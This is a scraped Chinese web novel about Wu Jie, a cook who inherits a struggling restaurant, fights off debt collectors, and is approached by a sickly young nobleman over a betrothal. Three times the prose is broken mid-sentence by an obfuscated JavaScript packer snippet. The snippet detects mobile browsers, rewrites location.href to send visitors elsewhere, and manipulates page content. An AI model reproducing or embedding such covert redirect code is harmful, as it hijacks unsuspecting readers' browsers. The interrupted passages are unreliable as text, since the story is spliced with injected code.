《就拿这个考验厨子？（女尊）》 1. 招牌被砸 “住手！你们都住手！” 哭嚎声、斥骂声和打砸声混在一起，领头的打手挥开前来拦阻的掌柜的手臂，狞笑着举起角落里的琉璃青花灯—— “哗啦”一声，把它砸了个粉碎！ 碎片飞溅，掌柜躲闪不及，手腕被狠狠划了一道，见了血。 角落里的小伙计被吓得呆住，竟然生生把哭声憋了回去，惶急地跪爬到掌柜身边，撕下袖子为她包扎。 那名打手耀武扬威地扫视一圈，蔑笑道：“欠债不还，天打雷劈！现在不过是砸你们一个灯，再不还钱，后面要掉的……” 她嘴角一撇，比出一个手刀，往自个儿脖子上划了划，威胁之意毫不掩饰。 小伙计抖抖索索地不敢作声，掌柜被那打手推搡得跌在地上，却勉强支撑起身子，昂首怒骂： “好个无赖！我们风云楼何时欠过你这遭瘟狗的债，分明是你故意栽赃。现在还打砸伤人，且等官差到了，拿你先吃八十大板！” 打手双目一瞪，喝道：“唬你奶奶呢！官差官差，喂不饱饭谁听你的差？你要能拿出来十几两大银报官儿，一百八十大板我都挨！这会儿肯教你们把酒楼抵出来还债已经是……是慈悲，欠条、欠条呢？” 旁边的狗腿子赶紧把白纸黑字的欠条递上，打手双手一展，装模作样地念道：“风云楼、贺！借银三百两，以酒楼为押，限三月，还五百两。” 她把欠条伸在掌柜眼前，示威地亮了亮。 掌柜一眼就认出了上面熟悉的字迹，嘴里却道：“字迹这东西好伪造得很，这分明就不是——” 她一边说，一边伸手去拿欠条，似乎是要拿近观察。 打手十分警惕，马上将欠条收回袖中：“碰什么碰！你现在要么拿五百两出来，要么就把风云楼赔了！” 那狗腿子眼珠滴溜溜一转，在旁边唱红脸：“我说张娘子，您也别犯傻，姓贺的这一去，风云楼没了东家，怎么也到不了您一个掌柜手里，您不赶紧找下家，被耗在这儿算是什么事？再说，她欠了我们主家的钱，欠条是明明白白写着的，您也瞅见了，可不是我们栽赃啊。” 她蹲了下来，好声好气劝着张掌柜：“咱们都是跑腿儿的，大家和和气气商量不成吗？风云楼这会儿别说五百两了，五十两都不值，我们主家真是够慈心了，您把地契拿出来，这事儿就结了……” “地契？” 突然，有一人大步跨入门中，朗声道：“不必为难她。地契在我这里，我才是风云楼的东家！” 狗腿子忙着跟那弱势的掌柜唧唧歪歪，打手本就满脸不耐，这会儿突然看见一外人闯入，立刻就来了劲儿。 她定睛一看，见这名陌生的女子打扮平平，身量虽然颀长，却不显壮硕，顿时信心更足，大声嚷道：“哪儿来的野妮子搅事儿？滚出去！” 打手一边出声驱赶，一边就抡起拳头，狞笑着步步逼近。她已经打定了主意，非要拿这个忽然窜出来的家伙发泄一通不可。 进门的女子面容清秀，气质温雅，身后背着一个与她衣裳同色的大包。 似乎是长途奔波过，周身风尘仆仆，神色也有些疲惫。 那打手都快扑将到她身前了，女子才后知后觉一般反应过来，看向冲往自己面门的拳头，右手闪电般向后一抽。 女子背上的大包霍然散落在地，发出令人牙酸的闷响。 待到她反手抽回，右手已然握着了一柄铁锅，“咚”地一声，狠狠砸在打手头上！ 打手一声不吭地倒了下去，头破血流地……睡着了。 围观的众人目瞪口呆。 女子却没有立刻收手，而是再次高举铁锅，对准打手的额头、胸口和小腹狠砸了三下，低头确认她已经奄奄一息、无法反扑，才神色平淡地直起身来。 其余几个打手看见领头的轻易倒了，互相使眼色，竟然没有一个敢冒头的。 最瘦小的狗腿子哭丧着脸，被她们你推我挤地弄到最前，半天憋出一句：“您有地契您早说呀！” 张掌柜爬了起来，喜出望外地喊道：“乌、东家！” 乌婕冲她远远一点头，举着那铁锅，对狗腿子和打手们道：“你们的欠条是真是假，为何不早说？” 狗腿子大张着嘴：“啊？” 乌婕直指疑点：“贺大厨是我恩师，早就把风云楼留给了我。三个月前，地契跟我都不在孝丰镇。她要是真拿了酒楼抵押借债，你们主家连凭证都没看见，就愿意借她三百两了？” “这……”那狗腿子倒有几分急智，连忙辩解道：“咱们也是听命行事，个中内情确实不清楚。但是镇上都知道，风云楼的东家是贺大厨，她用自家产业抵押画印，我们主家又相信贺大厨的人品，所以才肯借银的！这欠条自然是真真的呀！” 乌婕笑了一声：“好，我就当你们主家人美心善，没见到地契，光凭贺大厨的人品，就放了三百两大银的利子钱，打了这一张欠条。” 狗腿子跟着赔笑，张掌柜欲言又止。 “只是现在你们上门收债，作为新东家，我见不着凭据，可不会白白扔五百两大银。” 乌婕一手拿锅，一手摁住身边一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371149|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方桌，淡定道：“和和气气商量？行啊。我们这边把账本取来，你们那边派个账房，咱们从欠条上签的日子开始核算，瞧瞧这风云楼的流水里，究竟有没有那三百两的出入！” 狗腿子一怔，急道：“这哪行啊！谁知道贺大厨把银子花哪去了，若是没用在风云楼，是去县城里安置了一房小的，或者玩了两把骰子，那……” “那自然就同我的风云楼没关系了。”乌婕重重咬着“我的”二字。 狗腿子面色一变。 乌婕言之凿凿地说：“贺大厨虽然是我恩师，却非我亲母，她过世时无夫无子，依照本朝律法，自然是人死债消。不过我也是慈善人，要是你们真能证明她借了银子，而且花在了风云楼的经营上，五百两我自然会还的。” 谁真稀罕你那五百两！ 狗腿子梗着脖子道：“娘子这话不对。” 银子可以还，却不能叫她这么还。 债权落实，也就相当于默认了乌婕的新东家身份，她们还怎么为主家夺了风云楼？ 乌婕笑问：“如何不对了？” 狗腿子脑筋急转，真憋出一个借口来：“您这、地契又是什么时候到您手上的？万一贺大厨哄着我们主家借了银钱，转头又把酒楼的地契偷偷给了您，钱自个儿花了。闹出这一团子乱来，咱们两边都没什么凭据，反而叫您也被拖下了水。您想啊，这贺大厨打的不就是两头糊弄，好把这笔账赖掉的主意？” 乌婕根本不受其挑拨，扬眉道：“还真巧了，这地契到我手上是有凭据的。” 顶着狗腿子僵硬的视线，乌婕在怀中找了一阵，悠然取出了一张地契并一张泛黄的凭据，解释道：“五年前这地契就到了我手里，凭据在此，早就加盖了官印，张掌柜又可作人证。随你们去查罢！” 张掌柜点头如捣蒜，一旁的小伙计已是听痴了，眼睛一眨不眨地望着她。 狗腿子讷讷难言，旁边一名打手终于狠下心，上前对她附耳道：“此次事不能成，主家必然怪罪你我。她再能打，究竟也只有一人，不若抢了地契快走，只要得了东西，官府那边自有主家去打点……” 狗腿子听进去了，心念电转。 乌婕却拿起铁锅，轻敲桌子，分明声音也不大，可那方桌骤然一晃，竟被她单手敲了个四分五裂！ 狗腿子：“……” 打手：“……” 狗腿子伸手一揖，恭敬道：“娘子说的是，我们下回就带了账房来！” 她一扯打手，几人在乌婕的默许下把倒地的领头打手抬了起来，飞快地走了。 2. 酒楼困境 打手退走了，给风云楼大堂留下一片狼藉。 小伙计一溜烟跑去了二楼，为受伤的张掌柜取药。 乌婕则利落地清出一块空地，摆正了几张桌椅，扶着张掌柜坐下。 “张姨，你不要急，我已经回来了。”乌婕轻轻拍着她没有受伤的手臂。 但张掌柜其实不需要她的劝慰。 她见到乌婕回来，又惊又喜，马上把一团乱事抛到脑后，先关心起她这半年到西边游历的见闻。 乌婕捡了些新鲜有趣的说了，轻易就哄得张掌柜展颜。 她指着自己千辛万苦背回来的那个大包：“这里面都是唐家新研究出来的家伙，待会儿我给张姨露一手，也让你看看我这半年的进益。” 张掌柜老怀大慰：“好，好！” 小伙计跑下来给张掌柜上药，乌婕看了他一眼，给他塞了块糖：“小怜最懂事了，姐姐奖励你。” 小伙计睁着一双大眼望她，怯生生地说：“谢谢东家。” 他珍惜地收起了糖块，跑掉了。 张怜从被张掌柜捡回来起就一直这么畏缩，乌婕没太在意。 她郑重地问张掌柜：“张姨，您别瞒我，贺师她……走的时候，可还安稳？” 她其实更想问的是，贺常璋的死有没有幕后的推手。 乌婕在奔丧回来的路上，已经为贺大厨的离世哭过几场。 贺常璋年纪到了，这时候故去虽不能称得上长寿，但也不算意外。 乌婕本无怀疑，只是悲痛。 结果一回到风云楼，就看见一出朝死人追债的闹剧，由不得她不多想几分。 张掌柜徐徐回忆道：“大概是一个半月前，老贺晨起的时候咳嗽得厉害，挣扎不起身，四肢也虚软了，实在不能再掌厨。大夫看过，说是上了年纪当有的老病，有些难捱。我就做主先关了风云楼，好叫她安心养病。老贺说不严重，很快就能好，也不让我们去信告诉你。” 谁料这人一病下去，就再没好转过。 她目中含悲，面上竭力显出淡然：“老贺走的那天没咳血了，人也安详，还和几个老街坊提起你了，说你也该回转了。她还念叨着，等你回家，要吃一口偷师的唐家菜呢……” 乌婕听得心里一酸，眼中流出泪来。 张掌柜扯了一张手帕扔在她手心，训道：“哭什么！你现在是风云楼的东家，要有个东家的样子。老贺是时候到了，没人亏待她，我们让法师给她唱了足足九天的经，下辈子指定大富大贵，你也要高兴些！” 乌婕狼狈地用手帕擦干眼泪，哽咽着道：“是，贺师来世必然富贵荣华，否极泰来。” 赶在她抬头之前，张掌柜放下了脸上的袖子。 乌婕低声道：“既是如此，我心中便有数了。” 两人默默对坐着，平复了一会儿情绪。 乌婕转而问起张掌柜话中透出的异样：“张姨，贺师一病，风云楼怎么就到了关门的地步了？其他的厨子呢？伙计也不在，怎么还让小怜当起跑堂的了？” 张掌柜略略踌躇，面露愧色。 乌婕看了出来，轻轻拍了拍她的手背。 张掌柜艰难开口道：“这是我的错，我对不住老贺……” 半年前，乌婕刚跟着唐家那位娘子离开不久，风云楼就出了一桩事。 有外镇的食客到风云楼点了一道招牌的香椿煎鱼，初时吃了没事，结果刚跨出风云楼的门槛，人就软倒了。 张掌柜马上派伙计将客人平抬回来，一边打发人去请大夫，一边安抚酒楼内的其他客人。 由于这名食客是生面孔，又是在吃完菜肴后一段时间才晕倒，熟客们倒也没有立刻把问题按在风云楼的食物上，只以为对方身上有什么隐疾。 结果大夫一来，把了脉又查验过菜色，当众发现风云楼使用了半腐的鱼肉做菜。 这名客人体质敏感，食用了腐肉毒素，几乎半死。 众人大哗。 贺常璋当时正在外面采买食材，为了风云楼的声誉，张掌柜挺身而出，认下责任。 “既然这位客人是在我风云楼吃到了腐肉，因此出事，我们一定负责到底，也追查到底！” 那时候的风云楼还能请来几个干事的官差，事情也查得很快。 “你可还记得王厨子？”张掌柜说起此人，几乎切齿。 乌婕立即想了起来：“可是王彩湖？她不是白案上的么，贺师规矩严，绝不会叫她沾手红案的！” 张掌柜恨道：“就是这个王彩湖，吃里扒外，收了外人的银子，故意把劣等的食材混进了咱们的后厨。她是算计着老贺不在，厨子们做菜不至于把食材查验三遍，瞅准了中间的缝隙……” 风云楼后厨有规矩，食材至少要三验。 第一遍是专为大厨处理食材的小厨来验，要看软硬色泽，闻有无异味，如果不新鲜，就绝不能送到灶上。 第二遍是大厨亲验，看品类，判优劣，这一道查验但凡出现问题，都必须由贺常璋亲自去找供货商解决。 第三遍则时有时无，一般是在跑堂伙计给客人送菜之前。 厨子要是中途让食材离开过视线，交给伙计时也得验一验，免得被小人下了暗手。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371150|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第三遍有些草木皆兵的意思。风云楼不过是孝丰镇上的一座普通小酒楼，谁会闲着没趣给后厨下东西？ 因此但凡贺常璋不在，又赶上前头客人多事情忙，几个大厨就默认不验这第三次了。 就是这样不以为意的松懈，真被有心人给钻了空子。 张掌柜叙道：“王彩湖趁着李厨验过一遍鱼，转头处理香椿的时候，主动提出帮忙，李厨见事太忙，也就应了……” 乌婕皱起眉头。 张掌柜现在想起当时的境况，心中仍然郁郁：“那时候，我们当场把王彩湖查了出来，叫官差押走了。李厨一是没三验，二让管白案的沾手了红案，大家都看着，我也不能不说她的错。可李厨气盛，当场把净衣一脱，道我们风云楼瞧着规矩严苛，其实是有意为难，还排挤新人，扭头就走了。” 最初的风云楼只有贺常璋一个主厨，东家尽围着灶台转去了。 生意做大了之后，张掌柜怕她累倒，就提议雇三四个厨子帮手，贺常璋才答应招人。 那个李厨在风云楼干了不到几月，确实是资历最浅的，也勉强可称一句新人。 “她许是看不惯王彩湖管白案的清闲，早就在心里憋闷，可她干得多，月银也给她开得多。”张掌柜说到这里，倒没什么怨气。 只因她后来一想，觉得这个李厨也许是风云楼后厨唯一一个没被外人买通的了。 李厨意气上头出走，另外几个厨子立马跟着请辞，叫众人大大看了一回热闹，也给风云楼泼了一盆洗不掉的污水。 张掌柜迎来送往几十年，如何看不出这局面的蹊跷？ 她强撑着连连赔罪，又主动给那倒霉客人重金赔偿，总算是往回找补了几分。 贺常璋回来后，两人一同盘算，竟也找不出头绪，实在不知道得罪了谁。 “我们一直招不到新厨子，许多老客也不再来了，伙计就跟着跑。老贺实在倔，自己硬顶着也要接着做生意。后来，又有两次地痞上门。” 张掌柜说得轻描淡写，乌婕却知道其后必然有另外的惊险。 好好一个酒楼，突遭算计，竟然一朝衰败下去。 张掌柜尽可能平静地将酒楼眼下的困境同乌婕叙述详尽了，才终于露出一点愤懑：“只是我们也寻思，风云楼生意最好的时候也排不进县城去，碍不着贵人的眼。就算是看上了，把生意搅坏、名声搞臭，再抢占过去，到底有个什么可图呢？！” 乌婕把地契拍在桌上，冷笑道：“能收买那么些人，自然看不上咱们小生意的银子。兴许咱们风云楼坐落的是块风水宝地，精贵人家就爱这一口土呢！” 3. 外客登门 乌婕还待继续问张掌柜些细节，门外却忽然传来邦邦的叩门声。 张怜从二楼伸出个小脑袋探看，乌婕挥手叫他进屋去，不必下来。 张掌柜已然起身，下意识想去招呼，又有些后怕警惕。 乌婕拿上铁锅，亲自开门迎客。 见敲门的是个面皮白净的布衣妇人，她不慌不忙地把手背在身后，客气道：“大姐见谅，我们家近日闭店，实在不能招待了。” 那妇人不答话，而是转头向后一望。 “这就是风云楼的待客之道？好一个孝丰第一楼！” 乌婕顺着那声音看去，发现风云楼门前竟停了一辆马车。 问话的是那执着缰绳的车妇，膀大腰圆，左眼上方有一道刀痕，显见的是个练家子，不似好相与的。 她语气十分凶烈，乌婕不愿横生枝节，只道：“大姐还请原谅则个！孝丰镇地小人稀，从不曾有什么第一楼，您若想尝些地道风味，沿路往前走不远就是孙家食肆，她家浆水饭最好的。” 那莫名其妙的车妇还待再刺几句，马车内忽然传出一句：“齐元，不准放肆。” 乌婕耳尖一动，辨认出那一句是年轻的男子嗓音。 方才敲门的妇人走近马车问询几句，伸手打起了帘子。 一道青色身影从帘下探出，款款步下马车。 果然是个年轻的公子。 他头戴帷帽，轻纱一直垂到胸前，穿着一身缥色半袖长衫，两臂拥着素银飞浪纹的布帛，手腕洁白，指节纤长，腰身纤细。 那雪色的腰带似锦似纱，又搭着一块色调柔和的杂玉，加起来却都赶不上十指青葱。 内里穿着的下裳，只从小腿处露出一色，却是颤颤的粉黄，轻掩盖过脚面。 对方衣着不凡，气质温和，微微屈膝，朝她行了一礼。 乌婕也连忙回礼。 两人互相还礼的间隙，公子身后忽而冒出个唇红齿白的小仆来，搀着对方的小臂。 因着个矮，这小仆竟仿佛是挂在了公子身上似的。 他有些好奇地问道：“你就是那个……贺厨之女？” 乌婕回望过去，看着小仆的眼睛，不卑不亢地回答：“我名乌婕，是风云楼的新东家。贺大厨是我恩师，并非我母。” 那车妇和妇人都站在了公子身侧作护卫状，乌婕也一一颔首致意，解释道：“风云楼如今式微，实在当不起第一楼的名号，近日要闭店整顿，不是有意怠慢诸位，还请离去吧。” 公子低声道：“先前是齐元无状，乌娘子莫怪。我们并非故意搅扰，只是家母同贺厨有旧，我等今日路过此处，特来问候。” 名叫齐元的车妇面上还有愠色，却在公子话音落下的时候勾着脑袋，粗声认了错。 乌婕心道，贺常璋什么时候认识了这种人家？ 从前没听她说起过，如今人都没了才来问候，想必就算有旧，这旧也一定十分久远，情分恐怕稀薄。 怪不得还把风云楼叫作孝丰第一楼。 噫，她敢叫，乌婕都不敢认！ 这般苦中作乐地想着，乌婕面色转为沉重，朝主仆几人拱手：“多谢尊母挂念贺师。不过贺师年老久病……如今已仙去了。” 车妇齐元脸上的表情顿时僵住了。 小仆年纪小，禁不住发出一声低呼。 唯有那妇人和看不见面孔的公子尚且算得上淡定，同时合掌躬身，向亡者默默致哀。 乌婕不言不语，只孤身站在门槛处，不知不觉就把她们衬得气短了一截。 公子恳切道：“斯人已逝，乌娘子还请节哀。” 乌婕十分谨慎，不肯多看他，垂首谢道：“公子客气。” 公子抬了抬手，似乎想说什么，又不得不放下。 他毕竟是个男子，还是那布衣妇人上前一步，与乌婕沟通道：“我等是百江城原家的人，贺厨曾被我家主君奉为上宾。有些私事不足为外人道，还请娘子……” 乌婕知机地建议：“几位不妨入内一谈。” 妇人轻轻点头，和乌婕一起步入大堂。 张掌柜见她肯将外面的人放进风云楼，心下明白这群人并不是来找茬的那一拨了，连忙去张罗茶水。 公子带上小仆，让齐元留在了外头。 等看见大堂内乱糟糟的场景，公子仍旧淡定自若。 倒是那小仆，打眼看着仿佛被富贵日子惯坏了的，忍不住有些嫌弃，只是又想到乌婕说起贺厨去世时的表情，眼中就透出了怜悯。 乌婕请了妇人入座，妇人推拒，两人再一同请公子上座。 公子又辞让一回，这才坐了。 乌婕心里实在厌烦这种规矩，待一坐下便直奔主题。 “贺师在世时，我并非时时侍候在侧，不曾听她老人家提起过与原家有旧。” 想叙旧可以，先证明了再说。 妇人颔首，从袖中取出一只小盒，打开后露出一块玉佩，问道：“不知乌娘子可曾见过此物？” 乌婕微微一怔，抬手按着了自己的衣襟。 公子连忙背过脸去。 乌婕伸手一拉，将自己挂在脖子上的玉佩取下，放于桌上。 妇人细细辨认一番，颔首而笑：“确是一对的，材质、花纹俱同。” 乌婕心中生疑：“不瞒大姐，此物是贺师赠我的成人之礼，说是稀见之宝，在潜善寺开过光，可保平安……” 当时她其实一句都没信，只当是贺常璋随手买的，商贩为了名目上好看，才额外编造了几句。 毕竟潜善寺远在北都，贺常璋这辈子都未必出过县城。再说，什么稀世之宝能叫一个酒楼老板捡着漏？ 妇人打断了她：“乌娘子不必如此生分，老妇觍颜，请您叫我一声齐大娘吧。” 乌婕只微微笑了一下。 齐大娘知道她有些戒备，忙道：“乌娘子，其实贺厨她——” “齐妈妈，请让我来和乌娘子解释吧。” 一直端坐在上首的公子忽然出声，齐大娘和乌婕一同朝他看去。 齐大娘低声应诺。 乌婕是东道主，自然表示默许。 公子沉吟片刻，双手悄悄在布帛下绞到了一处，终于鼓足勇气，含羞开口： “我出身百江原家，今日到此，其实是来商谈贺原两家定下的婚约。这一对玉佩，便是信物。” 家业沦落之际，一位贵男带着信物上门，说他和你有红叶之盟。 乌婕十四五岁的时候，确实挺喜欢读这种话本的。 她尤其喜欢书中穷困女子不甘受辱，奋发图强的过程，反而不怎么爱那种女子得势后回头羞辱退婚者的桥段。 现在她二十出头，接受过现实拷打，对前者也不感兴趣了。 如今变成了话本里的主角，乌婕的心情十分平静。 “原来如此。”乌婕自以为明白了这群人上门的心思。 按照正常流程，两家人要和平退婚，要么互相交还信物，要么将两边的信物一并毁去。 乌婕有些舍不得贺常璋给她的生辰礼：“公子大可放心，这玉佩虽然在我手上，但我并不是贺家人，本就没有履行婚约的资格。若是需要断约的凭证，我马上就可以写来，只是这玉佩毕竟是恩师留下，可否——”不要毁去，留给她当个念想？ 公子听着她说的话，身形忽然一颤，竟失手打翻了茶杯！ 陶瓷碎了一地，茶水把公子的袖口浸得透湿。 身后的小仆赶忙扑上来给主子擦拭，冲着乌婕怒目道：“好哇，我们公子还没有嫌弃你，你倒是先看不起人来！背信弃义，那个贺厨子就是这么教你的？！” 公子厉声道：“浣竹，住口！” 乌婕还犯不着跟个小男孩儿计较，只是淡淡望去一眼。 那公子刚好隔着帷帽在看她，两人视线一错，公子顿时又安静下来。 气氛一时有些尴尬，一旁的张掌柜适时开口：“齐娘子不要见怪，乌婕这孩子心思直，我和老贺都不曾娶夫，她到了年纪，也没个男人帮她张罗……”所以她自然是不懂得男儿心思的。 这话奇妙地缓和了原家主仆的情绪。 齐大娘年纪更大些，又是女人，只觉得纳罕，但忍住了没有问出口。 张掌柜心中微梗，知道又有外人要往歪处想了。 她面上却笑呵呵道：“老贺是一心扑在灶台上，我年轻时候也算风流的，家中父亲好不容易给我看中了一位，我就收了心。可惜他命苦，我福薄……后来遇见老贺，我就帮着她招呼生意，一晃几十年，人也老了，自然就不想了。” 乌婕悄悄握了一下张掌柜的手，张掌柜狠掐了她一下。 死孩子！这会儿跟人家卖惨呢，打什么岔！ 齐大娘被深深打动，不由叹息：“张娘子，您也是个痴情人哪……” 就连方才横眉瞪眼的小仆都听进去了，脸上不乏动容。 乌婕被掐了一下，不明所以，但作鹌鹑状。 “背信弃义”的误会解开了，两拨人继续谈婚事。 齐大娘道：“二位有所不知，贺厨她其实是凤野贺氏出身……” 张掌柜：“谁？” 乌婕：“啊？” 齐大娘被噎了一下，镇定道：“看来二位是知道凤野贺家的。贺常璋贺大厨，按辈分其实是贺家当家人的远房族姨。虽是远房，但贺家嫡脉人丁不多，族内也不区分那主啊旁啊的。” 张掌柜和乌婕合上了惊讶的嘴巴，顿时就能接受了。 齐大娘嘴上说着不分主支旁支，听听就罢，那些大家族哪个不讲究？ 贺常璋在孝丰镇混了这么多年，从没见过哪个富贵亲戚上门，可见这远房究竟有多远，估计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371151|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到头来也就沾了个姓氏。 齐大娘说了出身，再论缘由：“这门婚事，其实是贺大厨同我们家君议定的。十六年前，我们家君携家眷到此地巡查产业，在湖仁县时被人惊了马车。当时我家夫人就在车上，肚子里还怀着我们公子。若不是贺大厨路过，不顾性命之危驭马救人……哎呦，可真真是万幸。” 她叙说得情真意切，时隔多年，犹有后怕，看着倒不像是胡乱编造。 张掌柜眯眼细想，倒是有些印象：“十六年前，老贺头一次去县城采买，好像是比预计的日子多留了两天。” 齐大娘接话道：“我们家君不知怎么感谢贺大厨，特意大摆宴席招待了两日，也帮着贺大厨与食材商牵了线。想着再送些金银钱粮，贺大厨却推说已经够了，实在是好人格！还是我们夫人，问贺大厨膝下可有子息。贺大厨说，她这辈子不会娶夫，但已有一位四五岁的徒儿，视与亲女无异。” 这句话极有分量。 师者如母，视如己出。 乌婕撇过头去，忍了忍泪。 忽而，她感觉自己的手臂被什么东西轻轻碰了一下。 她转头看去，左手边的原家公子依旧端庄文雅，甚至微微向齐大娘的方向偏着身子，仿佛听得入神。 可是她手里就是突然出现了一张帕子。 乌婕不动声色地将手帕收起，没有拿起来擦泪。 张掌柜说：“我跟老贺都把乌婕这孩子当作亲女儿，也不指望她给我们养老，只要平安富足就行。等她长成，我们早就两腿一蹬啦！到时候留下她自个儿，无母无父的……” 乌婕道：“您诨说什么呢！” 方才千辛万苦忍住的眼泪，悄悄掉下了一颗。 张掌柜恳切道：“原公子一看便是大家出身，合该有门当户对的良配。如果是老贺坐在这儿，也会依着孩子们的意思。” 齐大娘假装没看见小辈的狼狈相，语气格外放柔了些：“您说的是。这天下间做长辈的，哪有不为亲子打算呢？我们夫人当时给贺大厨这一枚玉佩作为信物，若是生下女儿，就让女孩们义结金兰，日后互相做个臂膀；若是生下男儿，便结为亲家。毕竟是贺大厨的徒儿，人品必然靠得住。贺大厨是当场答应了……” 公子也启口道：“我今年十六，正是应约来的。” 原来他竟不是来上门退婚的，反而是要逼婚她！ 乌婕惊呆了。 她一时只觉得突然，下意识出口拒绝：“我身家不足，不通文墨，只是个名不见经传的厨子，怎么配得上大家贵男？” 原家公子轻声道：“原家虽富，却属商籍，不兴科举，不看文艺。我是庶男出身，算不得贵男，但自有陪嫁……” 他急急忙忙地讲了这许多，竟似在推销自个儿一般，忽而住了嘴。 齐大娘顺势接口：“贺大厨于原家有恩，家君已叫当家夫人筹备了丰厚陪嫁，养一对小妻夫尽够了。乌娘子如此人品相貌，又是恩人之徒，如何不配？” 齐大娘开了口，原公子就不讲话了，乌婕更是说什么都不好。 张掌柜听着齐大娘话里处处迎合自己的心意，警惕更浓。 这样突如其来的富贵，对乌婕究竟是福是祸？ 商人重恩，本就是稀罕事。真要是记恩，怎么如今才匆匆前来问候，连风云楼的现状、甚至最重要的恩人已死的消息，都未打听明白？ 张掌柜打量着她们，嘴上道：“这老贺做事实在不妥当！她当初把这玉佩拿出来，个中缘由却闭口不讲，我们真是一点不知，先前也没能好好问候原家，真是白瞎了这样的缘分。” 这话说的是贺家没有好好问候原家，实则暗暗刺了对方一句： 既然记恩，为何先前不来问候贺厨，问候贺家？ 十六年过去，竟是男子自己登门，张口便谈婚事、许好处，叫人如何不疑？ 张掌柜年轻时阅尽千帆，此时，一双利目在戴着帷帽的原公子身上轻轻扫过。 好处这样多，坏处在哪里？莫不是应在了这男子身上？ 听话听音，齐大娘脸色微沉，原想申辩些什么，忽而又住了口。 她扬着笑容道：“贺大厨有谦逊质朴的人品，正是我们家君最敬服的。何况是贺大厨有恩于我们家，哪有劳烦她登门来访的道理？实在是我们此前疏了问候，这个中缘由……” “齐妈妈，不必为我隐瞒了。” 原公子又插了一句话，齐大娘便沉默下来。 乌婕和张掌柜一齐转头看他，而公子犹豫片刻，伸出双手，按住了自己的帷帽，揭下。 满室生辉。 张掌柜年纪偏长，见识也多，虽然一时因为原公子过人的容色心生感叹，但很快就反应过来，微微皱眉。 ——原公子掩盖在帷帽下的面色十分苍白，形容虚弱，完完全全，是一副久病之相。 4. 姊姊弟弟 果然。 世上哪有十全十美之事？ 张掌柜用力闭了闭眼皮，也不知自己是该哭呢，还是该笑？ 眼前这位原公子，年纪轻轻、容貌过人，说话轻声细语，手里头捏着一笔丰厚陪嫁，本人看起来对乌婕也足够重视，已经超出了张掌柜对乌婕的未来夫人的大部分期许。 ……除了他的身体。 张掌柜不求旁的，只求为乌婕筹谋一个常伴身侧的贴心人，好叫乌婕在她和老贺百年之后，也不至于无人关怀、无人可依。 原公子纵然有千好万好，但他若是身子弱、寿数短，还得乌婕反过来替他操心。 而如果他和乌婕生出了情意，最后又走在乌婕前头，叫自家孩子落得个伤心孤老的下场，那更是张掌柜所不愿看到的了。 所以，这门亲不能结。 张掌柜心里是这样想，面上到底不能失了礼数，几乎是瞬间就摆上了担忧的神情，嘴上劝道：“原公子，当不得呦！瞧你脸色煞白，快快把帷帽戴回去吧，仔细吹了风。” 乌婕歪了一下脑袋，审视的目光落在原公子苍白的侧颜上。 原公子眨了眨眼睫，似乎犹豫了一瞬，稍微偏了偏脸，然后轻声拒绝了张掌柜的好意：“不妨事的，这不是什么见风倒的病症，何况屋内十分暖和的。多谢……张大娘。” 张掌柜扯了扯嘴角。 如今正是夏日，莫说屋内暖和，屋外还更热乎呢！ 顺着原公子若有似无瞥过来的视线，张掌柜很快发现了自己身旁的“叛徒”。 她把放在桌下的手覆在了乌婕的手臂上，小小地掐了一把。 乌婕只以为张掌柜是提醒自己“非礼勿视”，连忙顺从地转开了目光。 只是乌婕心里还有些疑惑。 她不是会被容色所迷的人，此时只想着原公子苍白虚弱的脸色，还有他那双不时按在腹部的手。 这样的人，她仿佛是见过的。 张掌柜与乌婕各怀心思，明面上都陷入了一片沉默。 齐大娘抓住良机，更加恳切地游说道：“张娘子，乌娘子，今日我是舍了这张老脸，替主子们讲些不好讲的话，请你们千万不要误解。家君她自然是记得贺大厨的恩义，只是原家的基业到底在百江城，离孝丰县是远了些，中间路途遥远，虽想亲密来往，究竟力有不及啊。” “倒是夫人，总是念叨说贺厨人好，她养出的女儿必是差不了的。可怜我们夫人因生产亏了身子，一直到公子三岁那年……家君此后常常伤怀，更忧虑公子的身子。我们公子是纯孝之人，打小就入了家庙替母祈福，这才落了个体虚的毛病。可若是精细养着，医师也说，于寿数、于生育，受果承子……是完全无碍的。” 齐大娘最知道女子选夫的忌讳，不顾公子本人与小仆也在场，特意把“生育”提了一提，以打消乌婕和张掌柜可能的疑虑。 她极力把话讲得婉转又体面，但张掌柜也是见惯了世面的人，自然能听出背后那些不可宣之于口的隐情。 百江与孝丰的路途再遥远，原公子如今带着几个人也找过来了。 所以，要么是原家主不愿同贺常璋来往，要么就是这原公子已然到了走投无路，只能投奔千里之外、素未蒙面的未婚妻的地步了。 